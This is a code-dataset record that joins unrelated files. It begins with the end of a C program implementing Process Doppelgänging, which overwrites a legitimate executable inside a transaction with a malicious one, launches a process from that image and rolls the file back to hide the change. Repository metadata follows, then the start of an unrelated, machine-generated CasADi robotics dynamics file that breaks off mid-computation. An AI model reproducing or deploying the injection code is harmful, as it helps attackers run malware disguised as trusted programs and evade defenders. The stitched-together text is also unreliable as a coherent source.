+(ULONGLONG)mbi.RegionSize); } return NULL; } int main(int argc,char *argv[] ) { LARGE_INTEGER liFileSize; DWORD dwFileSize; HANDLE hSection; NTSTATUS ret; UNICODE_STRING string; if (argc < 3) { printf("%s <exe to Doppelgang> <your exe>",argv[0]); return 0; } HMODULE hNtdll = GetModuleHandle("ntdll.dll"); if (NULL==hNtdll) { DisplayErrorText(GetLastError()); return -1; } printf("[+] Got ntdll.dll at 0x%llx\n", hNtdll); NtCreateSection createSection = (NtCreateSection)GetProcAddress(hNtdll, "NtCreateSection"); if (NULL == createSection) { DisplayErrorText(GetLastError()); return -1; } printf("[+] Got NtCreateSection at 0x%08p\n", createSection); WCHAR temp[MAX_PATH] = { 0 }; char fileFullPath[MAX_PATH] = { 0 }; GetFullPathName(argv[1], MAX_PATH, fileFullPath, NULL); MultiByteToWideChar(CP_UTF8, 0, fileFullPath, strlen(fileFullPath), temp, MAX_PATH); HANDLE hTransaction = CreateTransaction(NULL,0,0,0,0,0, temp); if (INVALID_HANDLE_VALUE == hTransaction) { DisplayErrorText(GetLastError()); return -1; } printf("[+] Created a transaction, handle 0x%x\n", hTransaction); HANDLE hTransactedFile = CreateFileTransacted(fileFullPath, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL); if (INVALID_HANDLE_VALUE == hTransactedFile) { DisplayErrorText(GetLastError()); return -1; } printf("[+] CreateFileTransacted on %s, handle 0x%x\n", fileFullPath, hTransactedFile); HANDLE hExe = CreateFile(argv[2], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE == hExe) { DisplayErrorText(GetLastError()); return -1; } printf("[+] opened malexe.exe, handle 0x%x\n", hExe); BOOL err = GetFileSizeEx(hExe, &liFileSize); if (FALSE == err) { DisplayErrorText(GetLastError()); return -1; } dwFileSize = liFileSize.LowPart; printf("[+] malexe size is 0x%x\n", dwFileSize); BYTE *buffer = malloc(dwFileSize); if (NULL == buffer) { printf("Malloc failed\n"); return -1; } printf("[+] allocated 0x%x bytes\n", dwFileSize); DWORD read = 0; if (FALSE == ReadFile(hExe, buffer, dwFileSize, &read, NULL)) { DisplayErrorText(GetLastError()); return -1; } printf("[+] read malexe.exe to buffer\n"); DWORD wrote = 0; if (FALSE == WriteFile(hTransactedFile, buffer, dwFileSize, &wrote, NULL)) { DisplayErrorText(GetLastError()); return -1; } printf("[+] over wrote %s in transcation\n", fileFullPath); ret = createSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hTransactedFile); if(FALSE == NT_SUCCESS(ret)) { DisplayErrorText(GetLastError()); return -1; } printf("[+] created a section with our new malicious %s\n", fileFullPath); NtCreateProcessEx createProcessEx = (NtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx"); if (NULL == createProcessEx) { DisplayErrorText(GetLastError()); return -1; } printf("[+] Got NtCreateProcessEx 0x%08p\n", createProcessEx); HANDLE hProcess=0; my_RtlInitUnicodeString initUnicodeString = (my_RtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString"); initUnicodeString(&string, temp); ret = createProcessEx(&hProcess, GENERIC_ALL,NULL, GetCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE); printf("[+] Created our process, handle 0x%x\n", hProcess); if (FALSE == NT_SUCCESS(ret)) { DisplayErrorText(GetLastError()); return -1; } PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)buffer; PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(buffer + dos_header->e_lfanew); ULONGLONG oep = ntHeader->OptionalHeader.AddressOfEntryPoint; oep+=(ULONGLONG)GetBaseAddressByName(hProcess,argv[1]); printf("[+] our new process oep is 0x%llx\n", oep); NtCreateThreadEx createThreadEx = (NtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx"); if (NULL == createThreadEx) { DisplayErrorText(GetLastError()); return -1; } printf("[+] Got NtCreateThreadEx 0x%08p\n", createThreadEx); my_PRTL_USER_PROCESS_PARAMETERS ProcessParams = 0; RtlCreateProcessParametersEx createProcessParametersEx = (RtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx"); if (NULL == createProcessParametersEx) { DisplayErrorText(GetLastError()); return -1; } printf("[+] Got RtlCreateProcessParametersEx 0x%08p\n", createProcessParametersEx); ret = createProcessParametersEx(&ProcessParams, &string,NULL,NULL,&string,NULL,NULL,NULL,NULL,NULL, RTL_USER_PROC_PARAMS_NORMALIZED); if (FALSE == NT_SUCCESS(ret)) { DisplayErrorText(GetLastError()); return -1; } printf("[+] creating Process Parameters at 0x%p\n", ProcessParams); LPVOID RemoteProcessParams; RemoteProcessParams = VirtualAllocEx(hProcess, ProcessParams, (ULONGLONG)ProcessParams&0xffff + ProcessParams->EnvironmentSize + ProcessParams->MaximumLength, MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE); if(NULL == RemoteProcessParams) { DisplayErrorText(GetLastError()); return -1; } printf("[+] creating memory at process for our paramters 0x%08x\n", RemoteProcessParams); ret=WriteProcessMemory(hProcess, ProcessParams, ProcessParams, ProcessParams->EnvironmentSize + ProcessParams->MaximumLength,NULL); if (FALSE == NT_SUCCESS(ret)) { DisplayErrorText(GetLastError()); return -1; } printf("[+] writing our paramters to the process\n"); my_NtQueryInformationProcess queryInformationProcess = (my_NtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess"); if (NULL == queryInformationProcess) { DisplayErrorText(GetLastError()); return -1; } printf("[+] Got NtQueryInformationProcess 0x%08p\n", queryInformationProcess); PROCESS_BASIC_INFORMATION info; ret = queryInformationProcess( hProcess, ProcessBasicInformation, &info, sizeof(info), 0); if (FALSE == NT_SUCCESS(ret)) { DisplayErrorText(GetLastError()); return -1; } PEB *peb = info.PebBaseAddress; ret=WriteProcessMemory(hProcess, &peb->ProcessParameters, &ProcessParams, sizeof(LPVOID), NULL); if (FALSE == NT_SUCCESS(ret)) { DisplayErrorText(GetLastError()); return -1; } printf("[+] writing our paramters to the process peb 0x%08p\n", peb); HANDLE hThread; ret = createThreadEx(&hThread, GENERIC_ALL, NULL, hProcess, (LPTHREAD_START_ROUTINE)oep, NULL, FALSE, 0, 0, 0, NULL); printf("[+] Thread created with handle %x\n", hThread); if (FALSE == NT_SUCCESS(ret)) { DisplayErrorText(GetLastError()); return -1; } if (FALSE == RollbackTransaction(hTransaction)) { DisplayErrorText(GetLastError()); return -1; } printf("[+] rolling back the original %s\n", fileFullPath); CloseHandle(hProcess); CloseHandle(hExe); CloseHandle(hTransactedFile); CloseHandle(hTransaction); return 0; }
27.535088
202
0.700754
2fc45fe3b92af27575cae7d1bb18a6282320e25c
328,306
c
C
CasadiGen/source/Imp_B_par.c
ROAM-Lab-ND/MHPC_Minimal_Env
6e61fc1b25920605f1074a30b872a5cb6aa9de19
[ "MIT" ]
1
2022-03-03T02:48:42.000Z
2022-03-03T02:48:42.000Z
CasadiGen/source/Imp_B_par.c
ROAM-Lab-ND/MHPC_Minimal_Env
6e61fc1b25920605f1074a30b872a5cb6aa9de19
[ "MIT" ]
null
null
null
CasadiGen/source/Imp_B_par.c
ROAM-Lab-ND/MHPC_Minimal_Env
6e61fc1b25920605f1074a30b872a5cb6aa9de19
[ "MIT" ]
1
2022-03-27T08:26:37.000Z
2022-03-27T08:26:37.000Z
/* This file was automatically generated by CasADi. The CasADi copyright holders make no ownership claim of its contents. */ #ifdef __cplusplus extern "C" { #endif /* How to prefix internal symbols */ #ifdef CASADI_CODEGEN_PREFIX #define CASADI_NAMESPACE_CONCAT(NS, ID) _CASADI_NAMESPACE_CONCAT(NS, ID) #define _CASADI_NAMESPACE_CONCAT(NS, ID) NS ## ID #define CASADI_PREFIX(ID) CASADI_NAMESPACE_CONCAT(CODEGEN_PREFIX, ID) #else #define CASADI_PREFIX(ID) Imp_B_par_ ## ID #endif #include <math.h> #ifndef casadi_real #define casadi_real double #endif #ifndef casadi_int #define casadi_int long long int #endif /* Add prefix to internal symbols */ #define casadi_f0 CASADI_PREFIX(f0) #define casadi_s0 CASADI_PREFIX(s0) #define casadi_s1 CASADI_PREFIX(s1) #define casadi_sq CASADI_PREFIX(sq) /* Symbol visibility in DLLs */ #ifndef CASADI_SYMBOL_EXPORT #if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__) #if defined(STATIC_LINKED) #define CASADI_SYMBOL_EXPORT #else #define CASADI_SYMBOL_EXPORT __declspec(dllexport) #endif #elif defined(__GNUC__) && defined(GCC_HASCLASSVISIBILITY) #define CASADI_SYMBOL_EXPORT __attribute__ ((visibility ("default"))) #else #define CASADI_SYMBOL_EXPORT #endif #endif casadi_real casadi_sq(casadi_real x) { return x*x;} static const casadi_int casadi_s0[18] = {14, 1, 0, 14, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}; static const casadi_int casadi_s1[108] = {14, 14, 0, 1, 2, 10, 18, 26, 34, 42, 49, 56, 63, 70, 77, 84, 91, 0, 1, 2, 7, 8, 9, 10, 11, 12, 13, 3, 7, 8, 9, 10, 11, 12, 13, 4, 7, 8, 9, 10, 11, 12, 13, 5, 7, 8, 9, 10, 11, 12, 13, 6, 7, 8, 9, 10, 11, 12, 13, 7, 8, 9, 10, 11, 12, 13, 7, 8, 9, 10, 11, 12, 13, 7, 8, 9, 10, 11, 12, 13, 7, 8, 9, 10, 11, 12, 13, 7, 8, 9, 10, 11, 12, 13, 7, 8, 9, 10, 11, 12, 13, 7, 8, 9, 10, 11, 12, 13}; /* Imp_B_par:(i0[14])->(o0[14x14,91nz]) */ static int casadi_f0(const casadi_real** arg, casadi_real** res, casadi_int* iw, casadi_real* w, int mem) { casadi_real a0, a1, a10, a100, a101, a102, a103, a104, a105, a106, a107, a108, a109, a11, a110, a111, a112, a113, a114, a115, a116, a117, a118, a119, a12, a120, a121, a122, a123, a124, a125, a126, a127, a128, a129, a13, a130, a131, a132, a133, a134, a135, a136, a137, a138, a139, a14, a140, a141, a142, a143, a144, a145, a146, a147, a148, a149, a15, a150, a151, a152, a153, a154, a155, a156, a157, a158, a159, a16, a160, a161, a162, a163, a164, a165, a166, a167, a168, a169, a17, a170, a171, a172, a173, a174, a175, a176, a177, a178, a179, a18, a180, a181, a182, a183, a184, a185, a186, a187, a188, a189, a19, a190, a191, a192, a193, a194, a195, a196, a197, a198, a199, a2, a20, a200, a201, a202, a203, a204, a205, a206, a207, a208, a209, a21, a210, a211, a212, a213, a214, a215, a216, a217, a218, a219, a22, a220, a221, a222, a223, a224, a225, a226, a227, a228, a229, a23, a230, a231, a232, a233, a234, a235, a236, a237, a238, a239, a24, a240, a241, a242, a243, a244, a245, a246, a247, a248, a249, a25, a250, a251, a252, a253, a254, a255, a256, a257, a258, a259, a26, a260, a261, a262, a263, a264, a265, a266, a267, a268, a269, a27, a270, a271, a272, a273, a274, a275, a276, a277, a278, a279, a28, a280, a281, a282, a283, a284, a285, a286, a287, a288, a289, a29, a290, a291, a292, a293, a294, a295, a296, a297, a298, a299, a3, a30, a300, a301, a302, a303, a304, a305, a306, a307, a308, a309, a31, a310, a311, a312, a313, a314, a315, a316, a317, a318, a319, a32, a320, a321, a322, a323, a324, a325, a326, a327, a328, a329, a33, a330, a331, a332, a333, a334, a335, a336, a337, a338, a339, a34, a340, a341, a342, a343, a344, a345, a346, a347, a348, a349, a35, a350, a351, a352, a353, a354, a355, a356, a357, a358, a359, a36, a360, a361, a362, a363, a364, a365, a366, a367, a368, a369, a37, a370, a371, a372, a373, a374, a375, a376, a377, a378, a379, a38, a380, a381, a382, a383, a384, a385, a386, a387, a388, a389, a39, a390, a391, a392, a393, a394, a395, a396, a397, a398, a399, a4, a40, a400, a401, a402, a403, a404, a405, a406, a407, a408, a409, a41, a410, a411, a412, a413, a414, a415, a416, a417, a418, a419, a42, a420, a421, a422, a423, a424, a425, a426, a427, a428, a429, a43, a430, a431, a432, a433, a434, a435, a436, a437, a438, a439, a44, a440, a441, a442, a443, a444, a445, a446, a447, a448, a449, a45, a450, a451, a452, a453, a454, a455, a456, a457, a458, a459, a46, a460, a461, a462, a463, a464, a465, a466, a467, a468, a469, a47, a470, a471, a472, a473, a474, a475, a476, a477, a478, a479, a48, a480, a481, a482, a483, a484, a485, a486, a487, a488, a489, a49, a490, a491, a492, a493, a494, a495, a496, a497, a498, a499, a5, a50, a500, a501, a502, a503, a504, a505, a506, a507, a508, a509, a51, a510, a511, a512, a513, a514, a515, a516, a517, a518, a519, a52, a520, a521, a522, a523, a524, a525, a526, a527, a528, a529, a53, a530, a531, a532, a533, a534, a535, a536, a537, a538, a539, a54, a540, a541, a542, a543, a544, a545, a546, a547, a548, a549, a55, a550, a551, a552, a553, a554, a555, a556, a557, a558, a559, a56, a560, a561, a562, a563, a564, a565, a566, a567, a568, a569, a57, a570, a571, a572, a573, a574, a575, a576, a577, a578, a579, a58, a580, a581, a582, a583, a584, a585, a586, a587, a588, a589, a59, a590, a591, a592, a593, a594, a595, a596, a597, a598, a599, a6, a60, a600, a601, a602, a603, a604, a605, a606, a607, a608, a609, a61, a610, a611, a612, a613, a614, a615, a616, a617, a618, a619, a62, a620, a621, a622, a623, a624, a625, a626, a627, a628, a629, a63, a630, a631, a632, a633, a634, a635, a636, a637, a638, a639, a64, a640, a641, a642, a643, a644, a645, a646, a647, a648, a649, a65, a650, a651, a652, a653, a654, a655, a656, a657, a658, a659, a66, a660, a661, a662, a663, a664, a665, a666, a667, a668, a669, a67, a670, a671, a672, a673, a674, a675, a676, a677, a678, a679, a68, a680, a681, a682, a69, a7, a70, a71, a72, a73, a74, a75, a76, a77, a78, a79, a8, a80, a81, a82, a83, a84, a85, a86, a87, a88, a89, a9, a90, a91, a92, a93, a94, a95, a96, a97, a98, a99; a0=1.; if (res[0]!=0) res[0][0]=a0; if (res[0]!=0) res[0][1]=a0; if (res[0]!=0) res[0][2]=a0; a1=arg[0]? arg[0][2] : 0; a2=cos(a1); a3=5.4600000000000000e+000; a4=arg[0]? arg[0][5] : 0; a5=cos(a4); a6=1.2680000000000000e+000; a7=1.2800000000000000e-001; a8=arg[0]? arg[0][6] : 0; a9=cos(a8); a10=(a7*a9); a11=(a10*a9); a12=sin(a8); a13=(a7*a12); a14=(a13*a12); a11=(a11+a14); a11=(a6+a11); a14=(a5*a11); a15=sin(a4); a16=(a7*a9); a17=(a16*a12); a18=(a7*a12); a19=(a18*a9); a17=(a17-a19); a19=(a15*a17); a14=(a14+a19); a19=(a14*a5); a20=(a13*a9); a21=(a10*a12); a20=(a20-a21); a21=(a5*a20); a22=(a18*a12); a23=(a16*a9); a22=(a22+a23); a22=(a6+a22); a23=(a15*a22); a21=(a21+a23); a23=(a21*a15); a19=(a19+a23); a19=(a3+a19); a23=arg[0]? arg[0][3] : 0; a24=cos(a23); a25=arg[0]? arg[0][4] : 0; a26=cos(a25); a27=(a7*a26); a28=(a27*a26); a29=sin(a25); a30=(a7*a29); a31=(a30*a29); a28=(a28+a31); a28=(a6+a28); a31=(a24*a28); a32=sin(a23); a33=(a7*a26); a34=(a33*a29); a35=(a7*a29); a36=(a35*a26); a34=(a34-a36); a36=(a32*a34); a31=(a31+a36); a36=(a31*a24); a37=(a30*a26); a38=(a27*a29); a37=(a37-a38); a38=(a24*a37); a39=(a35*a29); a40=(a33*a26); a39=(a39+a40); a6=(a6+a39); a39=(a32*a6); a38=(a38+a39); a39=(a38*a32); a36=(a36+a39); a19=(a19+a36); a36=(a2*a19); a39=sin(a1); a40=(a5*a17); a41=(a15*a11); a40=(a40-a41); a41=(a40*a5); a42=(a5*a22); a43=(a15*a20); a42=(a42-a43); a43=(a42*a15); a41=(a41+a43); a43=(a24*a34); a44=(a32*a28); a43=(a43-a44); a44=(a43*a24); a45=(a24*a6); a46=(a32*a37); a45=(a45-a46); a46=(a45*a32); a44=(a44+a46); a41=(a41+a44); a44=(a39*a41); a36=(a36+a44); a44=(a36*a2); a46=(a21*a5); a47=(a14*a15); a46=(a46-a47); a47=(a38*a24); a48=(a31*a32); a47=(a47-a48); a46=(a46+a47); a47=(a2*a46); a48=(a42*a5); a49=(a40*a15); a48=(a48-a49); a3=(a3+a48); a48=(a45*a24); a49=(a43*a32); a48=(a48-a49); a3=(a3+a48); a48=(a39*a3); a47=(a47+a48); a48=(a47*a39); a44=(a44+a48); a48=arg[0]? arg[0][7] : 0; a49=(a44*a48); a50=(a47*a2); a51=(a36*a39); a50=(a50-a51); a51=arg[0]? arg[0][8] : 0; a52=(a50*a51); a49=(a49+a52); a52=-2.5360000000000001e-002; a53=-7.8079999999999998e-003; a54=(a53*a9); a55=-2.0899999999999999e-001; a56=(a55*a9); a57=(a10*a56); a54=(a54+a57); a57=(a55*a12); a58=(a13*a57); a54=(a54+a58); a54=(a52+a54); a58=(a5*a54); a59=(a16*a57); a60=(a53*a12); a61=(a18*a56); a60=(a60+a61); a59=(a59-a60); a60=(a15*a59); a58=(a58+a60); a60=1.9000000000000000e-001; a61=(a60*a15); a62=(a14*a61); a58=(a58-a62); a62=(a60*a5); a63=(a21*a62); a58=(a58+a63); a63=(a53*a26); a64=(a55*a26); a65=(a27*a64); a63=(a63+a65); a65=(a55*a29); a66=(a30*a65); a63=(a63+a66); a63=(a52+a63); a66=(a24*a63); a67=(a33*a65); a68=(a53*a29); a69=(a35*a64); a68=(a68+a69); a67=(a67-a68); a68=(a32*a67); a66=(a66+a68); a68=-1.9000000000000000e-001; a69=(a68*a32); a70=(a31*a69); a66=(a66-a70); a70=(a68*a24); a71=(a38*a70); a66=(a66+a71); a58=(a58+a66); a66=(a2*a58); a71=(a5*a59); a72=(a15*a54); a71=(a71-a72); a72=(a40*a61); a71=(a71-a72); a72=(a42*a62); a71=(a71+a72); a72=(a24*a67); a73=(a32*a63); a72=(a72-a73); a73=(a43*a69); a72=(a72-a73); a73=(a45*a70); a72=(a72+a73); a71=(a71+a72); a72=(a39*a71); a66=(a66+a72); a72=arg[0]? arg[0][9] : 0; a73=(a66*a72); a49=(a49+a73); a73=(a24*a63); a74=(a32*a67); a73=(a73+a74); a74=(a2*a73); a75=(a24*a67); a76=(a32*a63); a75=(a75-a76); a76=(a39*a75); a74=(a74+a76); a76=arg[0]? arg[0][10] : 0; a77=(a74*a76); a49=(a49+a77); a77=(a53*a26); a78=(a24*a77); a79=(a53*a29); a80=(a32*a79); a78=(a78-a80); a80=(a2*a78); a81=(a32*a77); a82=(a24*a79); a81=(a81+a82); a82=(a39*a81); a80=(a80-a82); a82=arg[0]? arg[0][11] : 0; a83=(a80*a82); a49=(a49+a83); a83=(a5*a54); a84=(a15*a59); a83=(a83+a84); a84=(a2*a83); a85=(a5*a59); a86=(a15*a54); a85=(a85-a86); a86=(a39*a85); a84=(a84+a86); a86=arg[0]? arg[0][12] : 0; a87=(a84*a86); a49=(a49+a87); a87=(a53*a9); a88=(a5*a87); a89=(a53*a12); a90=(a15*a89); a88=(a88-a90); a90=(a2*a88); a91=(a15*a87); a92=(a5*a89); a91=(a91+a92); a92=(a39*a91); a90=(a90-a92); a92=arg[0]? arg[0][13] : 0; a93=(a90*a92); a49=(a49+a93); a93=cos(a1); a94=(a41*a93); a95=sin(a1); a96=(a19*a95); a94=(a94-a96); a96=(a2*a94); a97=(a36*a95); a96=(a96-a97); a97=(a3*a93); a98=(a46*a95); a97=(a97-a98); a98=(a39*a97); a99=(a47*a93); a98=(a98+a99); a96=(a96+a98); a98=-1.; a99=-1.9500000000000001e-001; a100=cos(a8); a101=cos(a4); a102=cos(a1); a103=(a101*a102); a104=sin(a4); a105=sin(a1); a106=(a104*a105); a103=(a103-a106); a106=(a100*a103); a107=sin(a8); a108=cos(a4); a109=(a108*a105); a110=sin(a4); a111=(a110*a102); a109=(a109+a111); a111=(a107*a109); a106=(a106-a111); a106=(a99*a106); a111=(a55*a103); a112=(a68*a105); a111=(a111-a112); a106=(a106+a111); a111=casadi_sq(a106); a111=(a0+a111); a112=cos(a1); a113=cos(a4); a114=(a112*a113); a115=sin(a1); a116=sin(a4); a117=(a115*a116); a114=(a114-a117); a117=(a100*a114); a118=sin(a4); a119=(a112*a118); a120=cos(a4); a121=(a115*a120); a119=(a119+a121); a121=(a107*a119); a117=(a117-a121); a117=(a99*a117); a121=(a55*a114); a117=(a117+a121); a121=casadi_sq(a117); a111=(a111+a121); a121=(a112*a108); a122=(a115*a110); a121=(a121-a122); a122=cos(a8); a123=(a121*a122); a124=(a112*a104); a125=(a115*a101); a124=(a124+a125); a125=sin(a8); a126=(a124*a125); a123=(a123-a126); a123=(a99*a123); a126=casadi_sq(a123); a111=(a111+a126); a111=sqrt(a111); a126=(a98/a111); a127=(a126*a96); a128=(a126/a111); a129=(a106+a106); a130=sin(a1); a131=(a101*a130); a132=cos(a1); a133=(a104*a132); a131=(a131+a133); a133=(a100*a131); a134=(a108*a132); a130=(a110*a130); a134=(a134-a130); a134=(a107*a134); a133=(a133+a134); a133=(a99*a133); a131=(a55*a131); a132=(a68*a132); a131=(a131+a132); a133=(a133+a131); a131=(a129*a133); a132=(a117+a117); a134=sin(a1); a130=(a113*a134); a135=cos(a1); a136=(a116*a135); a130=(a130+a136); a136=(a100*a130); a137=(a120*a135); a138=(a118*a134); a137=(a137-a138); a137=(a107*a137); a136=(a136+a137); a136=(a99*a136); a130=(a55*a130); a136=(a136+a130); a130=(a132*a136); a131=(a131+a130); a130=(a123+a123); a137=(a108*a134); a138=(a110*a135); a137=(a137+a138); a137=(a122*a137); a135=(a101*a135); a134=(a104*a134); a135=(a135-a134); a135=(a125*a135); a137=(a137+a135); a137=(a99*a137); a135=(a130*a137); a131=(a131+a135); a135=(a111+a111); a131=(a131/a135); a134=(a128*a131); a138=(a44*a134); a127=(a127+a138); a138=(a106/a111); a139=(a71*a93); a140=(a58*a95); a139=(a139-a140); a140=(a138*a139); a141=(a138/a111); a142=(a141*a131); a143=(a133/a111); a142=(a142-a143); a143=(a66*a142); a140=(a140+a143); a127=(a127-a140); a140=(a117/a111); a143=(a85*a93); a144=(a83*a95); a143=(a143-a144); a144=(a140*a143); a145=(a140/a111); a146=(a145*a131); a147=(a136/a111); a146=(a146-a147); a147=(a84*a146); a144=(a144+a147); a127=(a127-a144); a144=(a123/a111); a147=(a144/a111); a131=(a147*a131); a148=(a137/a111); a131=(a131-a148); a148=(a90*a131); a149=(a88*a95); a150=(a91*a93); a149=(a149+a150); a150=(a144*a149); a148=(a148-a150); a127=(a127-a148); a148=(a126*a127); a150=(a44*a126); a151=(a66*a138); a150=(a150-a151); a151=(a84*a140); a150=(a150-a151); a151=(a90*a144); a150=(a150-a151); a151=(a150*a134); a148=(a148+a151); a148=(a96-a148); a151=sin(a1); a152=(a101*a151); a153=cos(a1); a154=(a104*a153); a152=(a152+a154); a154=(a100*a152); a155=(a108*a153); a156=(a110*a151); a155=(a155-a156); a156=(a107*a155); a154=(a154+a156); a154=(a99*a154); a156=(a55*a152); a157=(a68*a153); a156=(a156+a157); a154=(a154+a156); a156=(a154*a138); a157=cos(a1); a158=(a157*a116); a159=sin(a1); a160=(a159*a113); a158=(a158+a160); a160=(a100*a158); a161=(a157*a120); a162=(a159*a118); a161=(a161-a162); a162=(a107*a161); a160=(a160+a162); a160=(a99*a160); a162=(a55*a158); a160=(a160+a162); a162=(a160*a140); a156=(a156+a162); a162=(a157*a101); a163=(a159*a104); a162=(a162-a163); a163=(a162*a125); a164=(a159*a108); a165=(a157*a110); a164=(a164+a165); a165=(a164*a122); a163=(a163+a165); a163=(a99*a163); a165=(a163*a144); a156=(a156+a165); a165=(a156*a126); a166=casadi_sq(a165); a166=(a166+a0); a167=(a156*a138); a167=(a154-a167); a168=casadi_sq(a167); a166=(a166+a168); a168=(a156*a140); a168=(a160-a168); a169=casadi_sq(a168); a166=(a166+a169); a169=(a156*a144); a169=(a163-a169); a170=casadi_sq(a169); a166=(a166+a170); a166=sqrt(a166); a170=(a165/a166); a171=(a170*a148); a172=(a150*a126); a172=(a44-a172); a173=cos(a1); a174=(a101*a173); a175=sin(a1); a176=(a104*a175); a174=(a174-a176); a176=(a100*a174); a177=(a108*a175); a173=(a110*a173); a177=(a177+a173); a177=(a107*a177); a176=(a176-a177); a176=(a99*a176); a174=(a55*a174); a175=(a68*a175); a174=(a174-a175); a176=(a176+a174); a174=(a138*a176); a175=(a154*a142); a174=(a174+a175); a175=cos(a1); a113=(a113*a175); a1=sin(a1); a116=(a116*a1); a113=(a113-a116); a116=(a100*a113); a120=(a120*a1); a118=(a118*a175); a120=(a120+a118); a120=(a107*a120); a116=(a116-a120); a116=(a99*a116); a113=(a55*a113); a116=(a116+a113); a113=(a140*a116); a120=(a160*a146); a113=(a113+a120); a174=(a174+a113); a108=(a108*a175); a110=(a110*a1); a108=(a108-a110); a108=(a122*a108); a101=(a101*a1); a104=(a104*a175); a101=(a101+a104); a101=(a125*a101); a108=(a108-a101); a108=(a99*a108); a101=(a144*a108); a104=(a163*a131); a101=(a101+a104); a174=(a174+a101); a101=(a126*a174); a104=(a156*a134); a101=(a101+a104); a104=(a101/a166); a175=(a170/a166); a165=(a165+a165); a101=(a165*a101); a1=(a167+a167); a110=(a138*a174); a113=(a156*a142); a110=(a110+a113); a110=(a176-a110); a113=(a1*a110); a101=(a101+a113); a113=(a168+a168); a120=(a140*a174); a118=(a156*a146); a120=(a120+a118); a120=(a116-a120); a118=(a113*a120); a101=(a101+a118); a118=(a169+a169); a174=(a144*a174); a177=(a156*a131); a174=(a174+a177); a174=(a108-a174); a177=(a118*a174); a101=(a101+a177); a177=(a166+a166); a101=(a101/a177); a173=(a175*a101); a104=(a104-a173); a173=(a172*a104); a171=(a171+a173); a98=(a98/a166); a97=(a2*a97); a47=(a47*a95); a97=(a97-a47); a94=(a39*a94); a36=(a36*a93); a94=(a94+a36); a97=(a97-a94); a94=(a98*a97); a36=(a98/a166); a47=(a36*a101); a173=(a50*a47); a94=(a94-a173); a171=(a171+a94); a167=(a167/a166); a94=(a138*a127); a173=(a150*a142); a94=(a94+a173); a94=(a139+a94); a173=(a167*a94); a178=(a150*a138); a178=(a66+a178); a110=(a110/a166); a179=(a167/a166); a180=(a179*a101); a110=(a110-a180); a180=(a178*a110); a173=(a173+a180); a171=(a171+a173); a168=(a168/a166); a173=(a140*a127); a180=(a150*a146); a173=(a173+a180); a173=(a143+a173); a180=(a168*a173); a181=(a150*a140); a181=(a84+a181); a120=(a120/a166); a182=(a168/a166); a183=(a182*a101); a120=(a120-a183); a183=(a181*a120); a180=(a180+a183); a171=(a171+a180); a169=(a169/a166); a127=(a144*a127); a180=(a150*a131); a127=(a127+a180); a127=(a127-a149); a180=(a169*a127); a183=(a150*a144); a183=(a90+a183); a174=(a174/a166); a184=(a169/a166); a101=(a184*a101); a174=(a174-a101); a101=(a183*a174); a180=(a180+a101); a171=(a171+a180); a180=(a170*a171); a101=(a172*a170); a185=(a50*a98); a101=(a101+a185); a185=(a178*a167); a101=(a101+a185); a185=(a181*a168); a101=(a101+a185); a185=(a183*a169); a101=(a101+a185); a185=(a101*a104); a180=(a180+a185); a148=(a148-a180); a180=(a66*a126); a185=1.1641900000000001e-001; a186=4.7131999999999999e-003; a187=9.7228799999999997e-004; a188=(a53*a56); a188=(a187+a188); a189=(a7*a56); a189=(a53+a189); a190=(a189*a56); a188=(a188+a190); a190=(a7*a57); a191=(a190*a57); a188=(a188+a191); a188=(a186+a188); a191=(a61*a54); a191=(a188-a191); a192=(a62*a59); a191=(a191+a192); a192=(a189*a9); a193=(a190*a12); a192=(a192+a193); a192=(a52+a192); a193=(a61*a11); a192=(a192-a193); a193=(a62*a17); a192=(a192+a193); a193=(a192*a61); a191=(a191-a193); a193=(a190*a9); a194=(a189*a12); a193=(a193-a194); a194=(a61*a20); a193=(a193-a194); a194=(a62*a22); a193=(a193+a194); a194=(a193*a62); a191=(a191+a194); a185=(a185+a191); a191=(a53*a64); a191=(a187+a191); a194=(a7*a64); a194=(a53+a194); a195=(a194*a64); a191=(a191+a195); a195=(a7*a65); a196=(a195*a65); a191=(a191+a196); a186=(a186+a191); a191=(a69*a63); a191=(a186-a191); a196=(a70*a67); a191=(a191+a196); a196=(a194*a26); a197=(a195*a29); a196=(a196+a197); a52=(a52+a196); a196=(a69*a28); a52=(a52-a196); a196=(a70*a34); a52=(a52+a196); a196=(a52*a69); a191=(a191-a196); a196=(a195*a26); a197=(a194*a29); a196=(a196-a197); a197=(a69*a37); a196=(a196-a197); a197=(a70*a6); a196=(a196+a197); a197=(a196*a70); a191=(a191+a197); a185=(a185+a191); a191=(a185*a138); a180=(a180-a191); a191=(a61*a54); a191=(a188-a191); a197=(a62*a59); a191=(a191+a197); a197=(a191*a140); a180=(a180-a197); a197=(a53*a56); a197=(a187+a197); a198=(a61*a87); a198=(a197-a198); a199=(a62*a89); a198=(a198-a199); a199=(a198*a144); a180=(a180-a199); a199=(a180*a126); a199=(a66-a199); a200=(a199*a170); a201=(a2*a71); a202=(a39*a58); a201=(a201-a202); a202=(a201*a98); a200=(a200+a202); a202=(a180*a138); a202=(a185+a202); a203=(a202*a167); a200=(a200+a203); a203=(a180*a140); a203=(a191+a203); a204=(a203*a168); a200=(a200+a204); a204=(a180*a144); a204=(a198+a204); a205=(a204*a169); a200=(a200+a205); a205=(a200*a170); a205=(a199-a205); a206=casadi_sq(a205); a207=(a200*a98); a207=(a201-a207); a208=casadi_sq(a207); a206=(a206+a208); a208=(a200*a167); a208=(a202-a208); a209=casadi_sq(a208); a206=(a206+a209); a209=(a69*a63); a209=(a186-a209); a210=(a70*a67); a209=(a209+a210); 